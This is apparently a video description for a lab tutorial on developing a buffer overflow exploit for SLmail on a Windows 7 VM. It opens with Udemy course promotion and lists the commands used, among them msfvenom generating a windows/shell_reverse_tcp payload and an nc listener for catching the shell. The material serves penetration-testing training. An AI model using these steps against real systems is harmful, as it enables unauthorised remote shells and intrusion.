SLmail Buffer Overflow Exploit Development with Kali Linux
Please check out my Udemy courses! Coupon code applied to the following links....
https://www.udemy.com/hands-on-penetr...
https://www.udemy.com/hands-on-penetr...
https://www.udemy.com/kali-linux-web-...
https://www.udemy.com/kali-linux-hand...
https://www.udemy.com/network-securit...
https://www.udemy.com/snort-intrusion...
Description:
This video has similar methodology to the OSCP exam in that Offensive Security covers exploitation such as buffer overflows. However, this material is different from theirs, so there are no spoilers for their exams or labs.
We’ll be downloading a free VM of 32-bit Windows 7 Enterprise. Subsequently, we will download SLmail and configure it with default settings. This will leave our Windows 7 VM vulnerable to a buffer overflow.
Kali Linux, mona.py, and Immunity Debugger will be utilized in order to remotely identify the buffer overflow vulnerability. Then we will go through the steps of manually developing a buffer overflow that will allow us to obtain a SYSTEM level shell on the Windows 7 VM. For virtualization, we’ll be using VirtualBox. For detailed instructions on how you should set up Kali Linux, check the free video on my Udemy course.
Links:
https://developer.microsoft.com/en-us...
https://www.exploit-db.com/exploits/638/
https://www.immunityinc.com/products/...
https://github.com/corelan/mona
https://github.com/jessekurrus/slmail...
Commands used:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
jmp esp
!mona modules
!mona find -s "\xff\xe4" -m slmfc.dll
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.132.5 LPORT=443 -f py -b '\x00\x0a\x0d\' -e x86/shikata_ga_nai
nc -nlvp 443